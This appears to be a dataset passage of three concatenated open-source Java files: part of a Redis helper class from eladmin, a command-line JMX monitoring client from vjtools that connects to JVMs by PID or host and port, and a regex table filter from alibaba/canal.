redisTemplate.opsForHash().entries(key); } /** * HashSet * * @param key 键 * @param map 对应多个键值 * @return true 成功 false 失败 */ public boolean hmset(String key, Map<String, Object> map) { try { redisTemplate.opsForHash().putAll(key, map); return true; } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * HashSet * * @param key 键 * @param map 对应多个键值 * @param time 时间(秒) 注意:如果已存在的hash表有时间,这里将会替换原有的时间 * @return true成功 false失败 */ public boolean hmset(String key, Map<String, Object> map, long time) { try { redisTemplate.opsForHash().putAll(key, map); if (time > 0) { expire(key, time); } return true; } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * 向一张hash表中放入数据,如果不存在将创建 * * @param key 键 * @param item 项 * @param value 值 * @return true 成功 false失败 */ public boolean hset(String key, String item, Object value) { try { redisTemplate.opsForHash().put(key, item, value); return true; } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * 向一张hash表中放入数据,如果不存在将创建 * * @param key 键 * @param item 项 * @param value 值 * @param time 时间(秒) 注意:如果已存在的hash表有时间,这里将会替换原有的时间 * @return true 成功 false失败 */ public boolean hset(String key, String item, Object value, long time) { try { redisTemplate.opsForHash().put(key, item, value); if (time > 0) { expire(key, time); } return true; } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * 删除hash表中的值 * * @param key 键 不能为null * @param item 项 可以使多个 不能为null */ public void hdel(String key, Object... item) { redisTemplate.opsForHash().delete(key, item); } /** * 判断hash表中是否有该项的值 * * @param key 键 不能为null * @param item 项 不能为null * @return true 存在 false不存在 */ public boolean hHasKey(String key, String item) { return redisTemplate.opsForHash().hasKey(key, item); } /** * hash递增 如果不存在,就会创建一个 并把新增后的值返回 * * @param key 键 * @param item 项 * @param by 要增加几(大于0) * @return */ public double hincr(String key, String item, double by) { return redisTemplate.opsForHash().increment(key, item, by); } /** * hash递减 * * @param key 键 * @param item 项 * @param by 要减少记(小于0) * @return */ public double hdecr(String key, String item, double by) { return redisTemplate.opsForHash().increment(key, item, -by); } // ============================set============================= /** * 根据key获取Set中的所有值 * * @param key 键 * @return */ public Set<Object> sGet(String key) { try { return redisTemplate.opsForSet().members(key); } catch (Exception e) { log.error(e.getMessage(), e); return null; } } /** * 根据value从一个set中查询,是否存在 * * @param key 键 * @param value 值 * @return true 存在 false不存在 */ public boolean sHasKey(String key, Object value) { try { return redisTemplate.opsForSet().isMember(key, value); } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * 将数据放入set缓存 * * @param key 键 * @param values 值 可以是多个 * @return 成功个数 */ public long sSet(String key, Object... values) { try { return redisTemplate.opsForSet().add(key, values); } catch (Exception e) { log.error(e.getMessage(), e); return 0; } } /** * 将set数据放入缓存 * * @param key 键 * @param time 时间(秒) 注意:这里将会替换原有的时间 * @param values 值 可以是多个 * @return 成功个数 */ public long sSetAndTime(String key, long time, Object... values) { try { Long count = redisTemplate.opsForSet().add(key, values); if (time > 0) { expire(key, time); } return count; } catch (Exception e) { log.error(e.getMessage(), e); return 0; } } /** * 获取set缓存的长度 * * @param key 键 * @return */ public long sGetSetSize(String key) { try { return redisTemplate.opsForSet().size(key); } catch (Exception e) { log.error(e.getMessage(), e); return 0; } } /** * 移除值为value的 * * @param key 键 * @param values 值 可以是多个 * @return 移除的个数 */ public long setRemove(String key, Object... values) { try { Long count = redisTemplate.opsForSet().remove(key, values); return count; } catch (Exception e) { log.error(e.getMessage(), e); return 0; } } // ===============================list================================= /** * 获取list缓存的内容 * * @param key 键 * @param start 开始 * @param end 结束 0 到 -1代表所有值 * @return */ public List<Object> lGet(String key, long start, long end) { try { return redisTemplate.opsForList().range(key, start, end); } catch (Exception e) { log.error(e.getMessage(), e); return null; } } /** * 获取list缓存的长度 * * @param key 键 * @return */ public long lGetListSize(String key) { try { return redisTemplate.opsForList().size(key); } catch (Exception e) { log.error(e.getMessage(), e); return 0; } } /** * 通过索引 获取list中的值 * * @param key 键 * @param index 索引 index>=0时, 0 表头,1 第二个元素,依次类推;index<0时,-1,表尾,-2倒数第二个元素,依次类推 * @return */ public Object lGetIndex(String key, long index) { try { return redisTemplate.opsForList().index(key, index); } catch (Exception e) { log.error(e.getMessage(), e); return null; } } /** * 将list放入缓存 * * @param key 键 * @param value 值 * @return */ public boolean lSet(String key, Object value) { try { redisTemplate.opsForList().rightPush(key, value); return true; } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * 将list放入缓存 * * @param key 键 * @param value 值 * @param time 时间(秒) 注意:这里将会替换原有的时间 * @return */ public boolean lSet(String key, Object value, long time) { try { redisTemplate.opsForList().rightPush(key, value); if (time > 0) { expire(key, time); } return true; } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * 将list放入缓存 * * @param key 键 * @param value 值 * @return */ public boolean lSet(String key, List<Object> value) { try { redisTemplate.opsForList().rightPushAll(key, value); return true; } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * 将list放入缓存 * * @param key 键 * @param value 值 * @param time 时间(秒) 注意:这里将会替换原有的时间 * @return */ public boolean lSet(String key, List<Object> value, long time) { try { redisTemplate.opsForList().rightPushAll(key, value); if (time > 0) { expire(key, time); } return true; } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * 根据索引修改list中的某条数据 * * @param key 键 * @param index 索引 * @param value 值 * @return / */ public boolean lUpdateIndex(String key, long index, Object value) { try { redisTemplate.opsForList().set(key, index, value); return true; } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * 移除N个值为value * * @param key 键 * @param count 移除多少个 * @param value 值 * @return 移除的个数 */ public long lRemove(String key, long count, Object value) { try { return redisTemplate.opsForList().remove(key, count, value); } catch (Exception e) { log.error(e.getMessage(), e); return 0; } } /** * @param prefix 前缀 * @param ids id */ public void delByKeys(String prefix, Set<Long> ids) { Set<Object> keys = new HashSet<>(); for (Long id : ids) { keys.addAll(redisTemplate.keys(new StringBuffer(prefix).append(id).toString())); } long count = redisTemplate.delete(keys); // 此处提示可自行删除 log.debug("--------------------------------------------"); log.debug("成功删除缓存:" + keys.toString()); log.debug("缓存删除数量:" + count + "个"); log.debug("--------------------------------------------"); } }
elunez/eladmin
eladmin-common/src/main/java/me/zhengjie/utils/RedisUtils.java
117
package com.vip.vjtools.jmx; import java.io.File; /* * Client * * $Id$ * * Created on Nov 12, 2004 * * Copyright (C) 2004 Internet Archive. * * This file is part of the Heritrix web crawler (crawler.archive.org). * * Heritrix is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser Public License * as published by the Free Software Foundation; either version 2.1 of the License, or any later version. * * Heritrix is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser Public License for more details. * * You should have received a copy of the GNU Lesser Public License along with Heritrix; if not, write to the Free * Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ import java.io.IOException; import java.io.PrintWriter; import java.io.StringWriter; import java.text.FieldPosition; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Properties; import java.util.Set; import java.util.logging.ConsoleHandler; import java.util.logging.Handler; import java.util.logging.LogRecord; import java.util.logging.Logger; import java.util.logging.SimpleFormatter; import java.util.regex.Matcher; import java.util.regex.Pattern; import javax.management.Attribute; import javax.management.AttributeList; import javax.management.InstanceNotFoundException; import javax.management.IntrospectionException; import javax.management.MBeanAttributeInfo; import javax.management.MBeanFeatureInfo; import javax.management.MBeanInfo; import javax.management.MBeanOperationInfo; import javax.management.MBeanParameterInfo; import javax.management.MBeanServerConnection; import javax.management.MalformedObjectNameException; import javax.management.ObjectInstance; import javax.management.ObjectName; import javax.management.ReflectionException; import javax.management.openmbean.CompositeData; import javax.management.openmbean.TabularData; import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine; /** * A Simple Command-Line JMX Client. Tested against the JDK 1.5.0 JMX Agent. See * <a href="http://java.sun.com/j2se/1.5.0/docs/guide/management/agent.html">Monitoring and Management Using JMX</a>. * <p> * Can supply credentials and do primitive string representation of tabular and composite openmbeans. * @author stack */ public class Client { private static final Logger logger = Logger.getLogger(Client.class.getName()); public static final String V_GCUTIL_BEAN_NAME = "gcutil"; private static final String LOCAL_CONNECTOR_ADDRESS_PROP = "com.sun.management.jmxremote.localConnectorAddress"; /** * Usage string. */ private static final String USAGE = "See README.md"; /** * Pattern that matches a command name followed by an optional equals and optional comma-delimited list of * arguments. */ protected static final Pattern CMD_LINE_ARGS_PATTERN = Pattern.compile("^([^=]+)(?:(?:\\=)(.+))?$"); private static final String CREATE_CMD_PREFIX = "create="; public static void main(String[] args) { Client client = new Client(); // Set the logger to use our all-on-one-line formatter. Logger l = Logger.getLogger(""); Handler[] hs = l.getHandlers(); for (int i = 0; i < hs.length; i++) { Handler h = hs[0]; if (h instanceof ConsoleHandler) { h.setFormatter(client.new OneLineSimpleLogger()); } } try { client.execute(args); } catch (Exception e) { e.printStackTrace(); } } protected static void usage() { usage(0, null); } protected static void usage(int exitCode, String message) { if (message != null && message.length() > 0) { System.out.println(message); } System.out.println(USAGE); System.exit(exitCode); } /** * Constructor. */ public Client() { super(); } /** * Parse a 'login:password' string. Assumption is that no colon in the login name. * @param userpass * @return Array of strings with login in first position. */ protected String[] parseUserpass(final String userpass) { if (userpass == null || userpass.equals("-")) { return null; } int index = userpass.indexOf(':'); if (index <= 0) { throw new RuntimeException("Unable to parse: " + userpass); } return new String[]{userpass.substring(0, index), userpass.substring(index + 1)}; } /** * @param login * @param password * @return Credentials as map for RMI. */ protected static Map formatCredentials(final String login, final String password) { Map env = null; String[] creds = new String[]{login, password}; env = new HashMap(1); env.put(JMXConnector.CREDENTIALS, creds); return env; } /** * 扩展支持以pid or host-port两种方式接入 */ public static JMXConnector connect(final String hostportOrPid, final String login, final String password) throws IOException { // ./vjmxcli.sh - 127.0.0.1:8060 gcutil if (hostportOrPid.contains(":")) { JMXServiceURL rmiurl = new JMXServiceURL( "service:jmx:rmi://" + hostportOrPid + "/jndi/rmi://" + hostportOrPid + "/jmxrmi"); return JMXConnectorFactory.connect(rmiurl, formatCredentials(login, password)); } else { // ./vjmxcli.sh - 112222 gcutil String localAddress = getLocalConnectorAddress(hostportOrPid); JMXServiceURL localRmiurl = new JMXServiceURL(localAddress); return JMXConnectorFactory.connect(localRmiurl); } } /** * VirtualMachine保证JMX Agent已启动, 并向JMXClient提供连接地址 * * 地址样例:service:jmx:rmi://127.0.0.1/stub/rO0ABXN9AAAAAQAl... */ public static String getLocalConnectorAddress(String pid) throws IOException {// NOSONAR VirtualMachine vm = null; // 1. attach vm try { vm = VirtualMachine.attach(pid); } catch (AttachNotSupportedException x) { IOException ioe = new IOException(x.getMessage()); ioe.initCause(x); throw ioe; } try { // 2. 检查smartAgent是否已启动 Properties agentProps = vm.getAgentProperties(); String address = (String) agentProps.get(LOCAL_CONNECTOR_ADDRESS_PROP); if (address != null) { return address; } // 3. 未启动,尝试启动 int version = getJavaMajorVersion(vm.getSystemProperties().getProperty("java.specification.version")); if (version >= 8) { vm.startLocalManagementAgent(); agentProps = vm.getAgentProperties(); address = (String) agentProps.get(LOCAL_CONNECTOR_ADDRESS_PROP); } else { // JDK8后有更直接的vm.startLocalManagementAgent()方法 String home = vm.getSystemProperties().getProperty("java.home"); // Normally in ${java.home}/jre/lib/management-agent.jar but might // be in ${java.home}/lib in build environments. String agentPath = home + File.separator + "jre" + File.separator + "lib" + File.separator + "management-agent.jar"; File f = new File(agentPath); if (!f.exists()) { agentPath = home + File.separator + "lib" + File.separator + "management-agent.jar"; f = new File(agentPath); if (!f.exists()) { throw new IOException("Management agent not found"); } } agentPath = f.getCanonicalPath(); try { vm.loadAgent(agentPath, "com.sun.management.jmxremote"); } catch (AgentLoadException x) { // 高版本 attach 低版本jdk 抛异常:com.sun.tools.attach.AgentLoadException: 0,实际上是成功的; // 根因: HotSpotVirtualMachine.loadAgentLibrary 高版本jdk实现不一样了 if (!"0".equals(x.getMessage())) { IOException ioe = new IOException(x.getMessage()); ioe.initCause(x); throw ioe; } } catch (AgentInitializationException x) { IOException ioe = new IOException(x.getMessage()); ioe.initCause(x); throw ioe; } // 4. 再次获取connector address agentProps = vm.getAgentProperties(); address = (String) agentProps.get(LOCAL_CONNECTOR_ADDRESS_PROP); } if (address == null) { throw new IOException("Fails to find connector address"); } return address; } finally { vm.detach(); } } /** * Version of execute called from the cmdline. Prints out result of execution on stdout. Parses cmdline args. Then * calls {@link #execute(String, String, String, String, String[], boolean)}. * @param args Cmdline args. * @throws Exception */ protected void execute(final String[] args) throws Exception { // Process command-line. if (args.length == 0 || args.length == 1) { usage(); } String userpass = args[0]; String hostportOrPid = args[1]; String beanname = null;// vGCutil String[] command = null; if (args.length > 2) { beanname = args[2]; } if (args.length > 3) { command = new String[args.length - 3]; for (int i = 3; i < args.length; i++) { command[i - 3] = args[i]; } } String[] loginPassword = parseUserpass(userpass); // 模拟GC Util命令的扩展 if (V_GCUTIL_BEAN_NAME.equalsIgnoreCase(beanname)) { // 支持配置interval 固定事件间隔连续输出 int interval = 0; if (command != null && command.length > 0) { try { interval = Math.abs(Integer.parseInt(command[0]));// 拿绝对值, 避免负数的情况 } catch (NumberFormatException e) {// NOSONAR } } ExtraCommand extraCommand = new ExtraCommand(); extraCommand.execute(hostportOrPid, ((loginPassword == null) ? null : loginPassword[0]), ((loginPassword == null) ? null : loginPassword[1]), beanname, interval); return; } Object[] result = execute(hostportOrPid, ((loginPassword == null) ? null : loginPassword[0]), ((loginPassword == null) ? null : loginPassword[1]), beanname, command); if (result != null) { for (int i = 0; i < result.length; i++) { if (result[i] != null && result[i].toString().length() > 0) { if (command != null) { logger.info(command[i] + ": " + result[i]); } else { logger.info("\n" + result[i].toString()); } } } } } protected Object[] execute(final String hostport, final String login, final String password, final String beanname, final String[] command) throws Exception { return execute(hostport, login, password, beanname, command, false); } public Object[] executeOneCmd(final String hostport, final String login, final String password, final String beanname, final String command) throws Exception { return execute(hostport, login, password, beanname, new String[]{command}, true); } /** * Execute command against remote JMX agent. * @param hostportOrPid 'host:port' combination. * @param login RMI login to use. * @param password RMI password to use. * @param beanname Name of remote bean to run command against. * @param command Array of commands to run. * @param oneBeanOnly Set true if passed <code>beanname</code> is an exact name and the query for a bean is only * supposed to return one bean instance. If not, we raise an exception (Otherwise, if false, then we deal with * possibility of multiple bean instances coming back from query). Set to true when want to get an attribute or run * an operation. * @return Array of results -- one per command. * @throws Exception */ protected Object[] execute(final String hostportOrPid, final String login, final String password, final String beanname, String[] command, final boolean oneBeanOnly) throws Exception { JMXConnector jmxc = connect(hostportOrPid, login, password); Object[] result = null; try { MBeanServerConnection mbsc = jmxc.getMBeanServerConnection(); result = doBeans(mbsc, getObjectName(beanname), command, oneBeanOnly); } finally { jmxc.close(); } return result; } public static ObjectName getObjectName(final String beanname) throws MalformedObjectNameException, NullPointerException { return notEmpty(beanname) ? new ObjectName(beanname) : null; } public static boolean notEmpty(String s) { return s != null && s.length() > 0; } protected static Object[] doBeans(final MBeanServerConnection mbsc, final ObjectName objName, final String[] command, final boolean oneBeanOnly) throws Exception { Object[] result = null; Set beans = mbsc.queryMBeans(objName, null); if (beans.isEmpty()) { // No bean found. Check if we are to create a bean? if (command.length == 1 && notEmpty(command[0]) && command[0].startsWith(CREATE_CMD_PREFIX)) { String className = command[0].substring(CREATE_CMD_PREFIX.length()); mbsc.createMBean(className, objName); } else { // TODO: Is there a better JMX exception that RE for this // scenario? throw new RuntimeException(objName.getCanonicalName() + " not registered."); } } else if (beans.size() == 1) { result = doBean(mbsc, (ObjectInstance) beans.iterator().next(), command); } else { if (oneBeanOnly) { throw new RuntimeException("Only supposed to be one bean " + "query result"); } // This is case of multiple beans in query results. // Print name of each into a StringBuffer. Return as one // result. StringBuffer buffer = new StringBuffer(); for (Iterator i = beans.iterator(); i.hasNext();) { Object obj = i.next(); if (obj instanceof ObjectName) { buffer.append((((ObjectName) obj).getCanonicalName())); } else if (obj instanceof ObjectInstance) { buffer.append((((ObjectInstance) obj).getObjectName().getCanonicalName())); } else { throw new RuntimeException("Unexpected object type: " + obj); } buffer.append("\n"); } result = new String[]{buffer.toString()}; } return result; } /** * Get attribute or run operation against passed bean <code>instance</code>. * * @param mbsc Server connection. * @param instance Bean instance we're to get attributes from or run operation against. * @param command Command to run (May be null). * @return Result. If multiple commands, multiple results. * @throws Exception */ protected static Object[] doBean(MBeanServerConnection mbsc, ObjectInstance instance, String[] command) throws Exception { // If no command, then print out list of attributes and operations. if (command == null || command.length <= 0) { return new String[]{listOptions(mbsc, instance)}; } // Maybe multiple attributes/operations listed on one command line. Object[] result = new Object[command.length]; for (int i = 0; i < command.length; i++) { result[i] = doSubCommand(mbsc, instance, command[i]); } return result; } public static Object doSubCommand(MBeanServerConnection mbsc, ObjectInstance instance, String subCommand) throws Exception { // First, handle special case of our being asked to destroy a bean. if (subCommand.equals("destroy")) { mbsc.unregisterMBean(instance.getObjectName()); return null; } else if (subCommand.startsWith(CREATE_CMD_PREFIX)) { throw new IllegalArgumentException("You cannot call create " + "on an already existing bean."); } // Get attribute and operation info. MBeanAttributeInfo[] attributeInfo = mbsc.getMBeanInfo(instance.getObjectName()).getAttributes(); MBeanOperationInfo[] operationInfo = mbsc.getMBeanInfo(instance.getObjectName()).getOperations(); // Now, bdbje JMX bean doesn't follow the convention of attributes // having uppercase first letter and operations having lowercase // first letter. But most beans do. Be prepared to handle the bdbje // case. Object result = null; if (Character.isUpperCase(subCommand.charAt(0))) { // Probably an attribute. if (!isFeatureInfo(attributeInfo, subCommand) && isFeatureInfo(operationInfo, subCommand)) { // Its not an attribute name. Looks like its name of an // operation. Try it. result = doBeanOperation(mbsc, instance, subCommand, operationInfo); } else { // Then it is an attribute OR its not an attribute name nor // operation name and the below invocation will throw a // AttributeNotFoundException. result = doAttributeOperation(mbsc, instance, subCommand, attributeInfo); } } else { // Must be an operation. if (!isFeatureInfo(operationInfo, subCommand) && isFeatureInfo(attributeInfo, subCommand)) { // Its not an operation name but looks like it could be an // attribute name. Try it. result = doAttributeOperation(mbsc, instance, subCommand, attributeInfo); } else { // Its an operation name OR its neither operation nor attribute // name and the below will throw a NoSuchMethodException. result = doBeanOperation(mbsc, instance, subCommand, operationInfo); } } // Look at the result. Is it of composite or tabular type? // If so, convert to a String representation. if (result instanceof CompositeData) { result = recurseCompositeData(new StringBuffer("\n"), "", "", (CompositeData) result); } else if (result instanceof TabularData) { result = recurseTabularData(new StringBuffer("\n"), "", "", (TabularData) result); } else if (result instanceof String[]) { String[] strs = (String[]) result; StringBuffer buffer = new StringBuffer("\n"); for (int i = 0; i < strs.length; i++) { buffer.append(strs[i]); buffer.append("\n"); } result = buffer; } else if (result instanceof AttributeList) { AttributeList list = (AttributeList) result; if (list.isEmpty()) { result = null; } else { StringBuffer buffer = new StringBuffer("\n"); for (Iterator ii = list.iterator(); ii.hasNext();) { Attribute a = (Attribute) ii.next(); buffer.append(a.getName()); buffer.append(": "); buffer.append(a.getValue()); buffer.append("\n"); } result = buffer; } } return result; } protected static boolean isFeatureInfo(MBeanFeatureInfo[] infos, String cmd) { return getFeatureInfo(infos, cmd) != null; } protected static MBeanFeatureInfo getFeatureInfo(MBeanFeatureInfo[] infos, String cmd) { // Cmd may be carrying arguments. Don't count them in the compare. int index = cmd.indexOf('='); String name = (index > 0) ? cmd.substring(0, index) : cmd; for (int i = 0; i < infos.length; i++) { if (infos[i].getName().equals(name)) { return infos[i]; } } return null; } protected static StringBuffer recurseTabularData(StringBuffer buffer, String indent, String name, TabularData data) { addNameToBuffer(buffer, indent, name); java.util.Collection c = data.values(); for (Iterator i = c.iterator(); i.hasNext();) { Object obj = i.next(); if (obj instanceof CompositeData) { recurseCompositeData(buffer, indent + " ", "", (CompositeData) obj); } else if (obj instanceof TabularData) { recurseTabularData(buffer, indent, "", (TabularData) obj); } else { buffer.append(obj); } } return buffer; } protected static StringBuffer recurseCompositeData(StringBuffer buffer, String indent, String name, CompositeData data) { indent = addNameToBuffer(buffer, indent, name); for (Iterator i = data.getCompositeType().keySet().iterator(); i.hasNext();) { String key = (String) i.next(); Object o = data.get(key); if (o instanceof CompositeData) { recurseCompositeData(buffer, indent + " ", key, (CompositeData) o); } else if (o instanceof TabularData) { recurseTabularData(buffer, indent, key, (TabularData) o); } else { buffer.append(indent); buffer.append(key); buffer.append(": "); buffer.append(o); buffer.append("\n"); } } return buffer; } protected static String addNameToBuffer(StringBuffer buffer, String indent, String name) { if (name == null || name.length() == 0) { return indent; } buffer.append(indent); buffer.append(name); buffer.append(":\n"); // Move all that comes under this 'name' over by one space. return indent + " "; } /** * Class that parses commandline arguments. Expected format is 'operationName=arg0,arg1,arg2...'. We are assuming no * spaces nor comma's in argument values. */ protected static class CommandParse { private String cmd; private String[] args; protected CommandParse(String command) throws ParseException { parse(command); } private void parse(String command) throws ParseException { Matcher m = CMD_LINE_ARGS_PATTERN.matcher(command); if (m == null || !m.matches()) { throw new ParseException("Failed parse of " + command, 0); } this.cmd = m.group(1); if (m.group(2) != null && m.group(2).length() > 0) { this.args = m.group(2).split(","); } else { this.args = null; } } protected String getCmd() { return this.cmd; } protected String[] getArgs() { return this.args; } } protected static Object doAttributeOperation(MBeanServerConnection mbsc, ObjectInstance instance, String command, MBeanAttributeInfo[] infos) throws Exception { // Usually we get attributes. If an argument, then we're being asked // to set attribute. CommandParse parse = new CommandParse(command); if (parse.getArgs() == null || parse.getArgs().length == 0) { // Special-casing. If the subCommand is 'Attributes', then return // list of all attributes. if (command.equals("Attributes")) { String[] names = new String[infos.length]; for (int i = 0; i < infos.length; i++) { names[i] = infos[i].getName(); } return mbsc.getAttributes(instance.getObjectName(), names); } return mbsc.getAttribute(instance.getObjectName(), parse.getCmd()); } if (parse.getArgs().length != 1) { throw new IllegalArgumentException("One only argument setting " + "attribute values: " + parse.getArgs()); } // Get first attribute of name 'cmd'. Assumption is no method // overrides. Then, look at the attribute and use its type. MBeanAttributeInfo info = (MBeanAttributeInfo) getFeatureInfo(infos, parse.getCmd()); java.lang.reflect.Constructor c = Class.forName(info.getType()).getConstructor(new Class[]{String.class}); Attribute a = new Attribute(parse.getCmd(), c.newInstance(new Object[]{parse.getArgs()[0]})); mbsc.setAttribute(instance.getObjectName(), a); return null; } protected static Object doBeanOperation(MBeanServerConnection mbsc, ObjectInstance instance, String command, MBeanOperationInfo[] infos) throws Exception { // Parse command line. CommandParse parse = new CommandParse(command); // Get first method of name 'cmd'. Assumption is no method // overrides. Then, look at the method and use its signature // to make sure client sends over parameters of the correct type. MBeanOperationInfo op = (MBeanOperationInfo) getFeatureInfo(infos, parse.getCmd()); Object result = null; if (op == null) { result = "Operation " + parse.getCmd() + " not found."; } else { MBeanParameterInfo[] paraminfos = op.getSignature(); int paraminfosLength = (paraminfos == null) ? 0 : paraminfos.length; int objsLength = (parse.getArgs() == null) ? 0 : parse.getArgs().length; if (paraminfosLength != objsLength) { result = "Passed param count does not match signature count"; } else { String[] signature = new String[paraminfosLength]; Object[] params = (paraminfosLength == 0) ? null : new Object[paraminfosLength]; for (int i = 0; i < paraminfosLength; i++) { MBeanParameterInfo paraminfo = paraminfos[i]; java.lang.reflect.Constructor c = Class.forName(paraminfo.getType()) .getConstructor(new Class[]{String.class}); params[i] = c.newInstance(new Object[]{parse.getArgs()[i]}); signature[i] = paraminfo.getType(); } result = mbsc.invoke(instance.getObjectName(), parse.getCmd(), params, signature); } } return result; } protected static String listOptions(MBeanServerConnection mbsc, ObjectInstance instance) throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException { StringBuffer result = new StringBuffer(); MBeanInfo info = mbsc.getMBeanInfo(instance.getObjectName()); MBeanAttributeInfo[] attributes = info.getAttributes(); if (attributes.length > 0) { result.append("Attributes:"); result.append("\n"); for (int i = 0; i < attributes.length; i++) { result.append(' ' + attributes[i].getName() + ": " + attributes[i].getDescription() + " (type=" + attributes[i].getType() + ")"); result.append("\n"); } } MBeanOperationInfo[] operations = info.getOperations(); if (operations.length > 0) { result.append("Operations:"); result.append("\n"); for (int i = 0; i < operations.length; i++) { MBeanParameterInfo[] params = operations[i].getSignature(); StringBuffer paramsStrBuffer = new StringBuffer(); if (params != null) { for (int j = 0; j < params.length; j++) { paramsStrBuffer.append("\n name="); paramsStrBuffer.append(params[j].getName()); paramsStrBuffer.append(" type="); paramsStrBuffer.append(params[j].getType()); paramsStrBuffer.append(" "); paramsStrBuffer.append(params[j].getDescription()); } } result.append(' ' + operations[i].getName() + ": " + operations[i].getDescription() + "\n Parameters " + params != null ? params.length : 0 + ", return type=" + operations[i].getReturnType() + paramsStrBuffer.toString()); result.append("\n"); } } return result.toString(); } /** * Logger that writes entry on one line with less verbose date. Modelled on the OneLineSimpleLogger from Heritrix. * * @author stack * @version $Revision$, $Date$ */ private class OneLineSimpleLogger extends SimpleFormatter { /** * Date instance. * * Keep around instance of date. */ private Date date = new Date(); /** * Field position instance. * * Keep around this instance. */ private FieldPosition position = new FieldPosition(0); /** * MessageFormatter for date. */ private SimpleDateFormat formatter = new SimpleDateFormat("MM/dd/yyyy HH:mm:ss Z"); /** * Persistent buffer in which we conjure the log. */ private StringBuffer buffer = new StringBuffer(); public OneLineSimpleLogger() { super(); } @Override public synchronized String format(LogRecord record) { this.buffer.setLength(0); this.date.setTime(record.getMillis()); this.position.setBeginIndex(0); this.formatter.format(this.date, this.buffer, this.position); this.buffer.append(' '); if (record.getSourceClassName() != null) { this.buffer.append(record.getSourceClassName()); } else { this.buffer.append(record.getLoggerName()); } this.buffer.append(' '); this.buffer.append(formatMessage(record)); this.buffer.append(System.getProperty("line.separator")); if (record.getThrown() != null) { try { StringWriter writer = new StringWriter(); PrintWriter printer = new PrintWriter(writer); record.getThrown().printStackTrace(printer); writer.close(); this.buffer.append(writer.toString()); } catch (Exception e) { this.buffer.append("Failed to get stack trace: " + e.getMessage()); } } return this.buffer.toString(); } } private static int getJavaMajorVersion(String javaSpecificationVersion) { if (javaSpecificationVersion.startsWith("1.8")) { return 8; } else if (javaSpecificationVersion.startsWith("1.7")) { return 7; } else if (javaSpecificationVersion.startsWith("1.6")) { return 6; } else { try { return Integer.parseInt(javaSpecificationVersion); } catch (NumberFormatException e) { return 0; } } } }
vipshop/vjtools
vjmxcli/src/main/java/com/vip/vjtools/jmx/Client.java
118
package com.alibaba.otter.canal.filter.aviater; import java.util.ArrayList; import java.util.Arrays; import java.util.Comparator; import java.util.HashMap; import java.util.List; import java.util.Map; import org.apache.commons.lang.StringUtils; import com.alibaba.otter.canal.filter.CanalEventFilter; import com.alibaba.otter.canal.filter.exception.CanalFilterException; import com.googlecode.aviator.AviatorEvaluator; import com.googlecode.aviator.Expression; /** * 基于aviater进行tableName正则匹配的过滤算法 * * @author jianghang 2012-7-20 下午06:01:34 */ public class AviaterRegexFilter implements CanalEventFilter<String> { private static final String SPLIT = ","; private static final String PATTERN_SPLIT = "|"; private static final String FILTER_EXPRESSION = "regex(pattern,target)"; private static final RegexFunction regexFunction = new RegexFunction(); private final Expression exp = AviatorEvaluator.compile(FILTER_EXPRESSION, true); static { AviatorEvaluator.addFunction(regexFunction); } private static final Comparator<String> COMPARATOR = new StringComparator(); final private String pattern; final private boolean defaultEmptyValue; public AviaterRegexFilter(String pattern){ this(pattern, true); } public AviaterRegexFilter(String pattern, boolean defaultEmptyValue){ this.defaultEmptyValue = defaultEmptyValue; List<String> list = null; if (StringUtils.isEmpty(pattern)) { list = new ArrayList<>(); } else { String[] ss = StringUtils.split(pattern, SPLIT); list = Arrays.asList(ss); } // 对pattern按照从长到短的排序 // 因为 foo|foot 匹配 foot 会出错,原因是 foot 匹配了 foo 之后,会返回 foo,但是 foo 的长度和 foot // 的长度不一样 list.sort(COMPARATOR); // 对pattern进行头尾完全匹配 list = completionPattern(list); this.pattern = StringUtils.join(list, PATTERN_SPLIT); } public boolean filter(String filtered) throws CanalFilterException { if (StringUtils.isEmpty(pattern)) { return defaultEmptyValue; } if (StringUtils.isEmpty(filtered)) { return defaultEmptyValue; } Map<String, Object> env = new HashMap<>(); env.put("pattern", pattern); env.put("target", filtered.toLowerCase()); return (Boolean) exp.execute(env); } /** * 修复正则表达式匹配的问题,因为使用了 oro 的 matches,会出现: * * <pre> * foo|foot 匹配 foot 出错,原因是 foot 匹配了 foo 之后,会返回 foo,但是 foo 的长度和 foot 的长度不一样 * </pre> * * 因此此类对正则表达式进行了从长到短的排序 * * @author zebin.xuzb 2012-10-22 下午2:02:26 * @version 1.0.0 */ private static class StringComparator implements Comparator<String> { @Override public int compare(String str1, String str2) { return Integer.compare(str2.length(), str1.length()); } } /** * 修复正则表达式匹配的问题,即使按照长度递减排序,还是会出现以下问题: * * <pre> * foooo|f.*t 匹配 fooooot 出错,原因是 fooooot 匹配了 foooo 之后,会将 fooo 和数据进行匹配,但是 foooo 的长度和 fooooot 的长度不一样 * </pre> * * 因此此类对正则表达式进行头尾完全匹配 * * @author simon * @version 1.0.0 */ private List<String> completionPattern(List<String> patterns) { List<String> result = new ArrayList<>(); for (String pattern : patterns) { StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append("^"); stringBuilder.append(pattern); stringBuilder.append("$"); result.add(stringBuilder.toString()); } return result; } @Override public String toString() { return pattern; } }
alibaba/canal
filter/src/main/java/com/alibaba/otter/canal/filter/aviater/AviaterRegexFilter.java
119
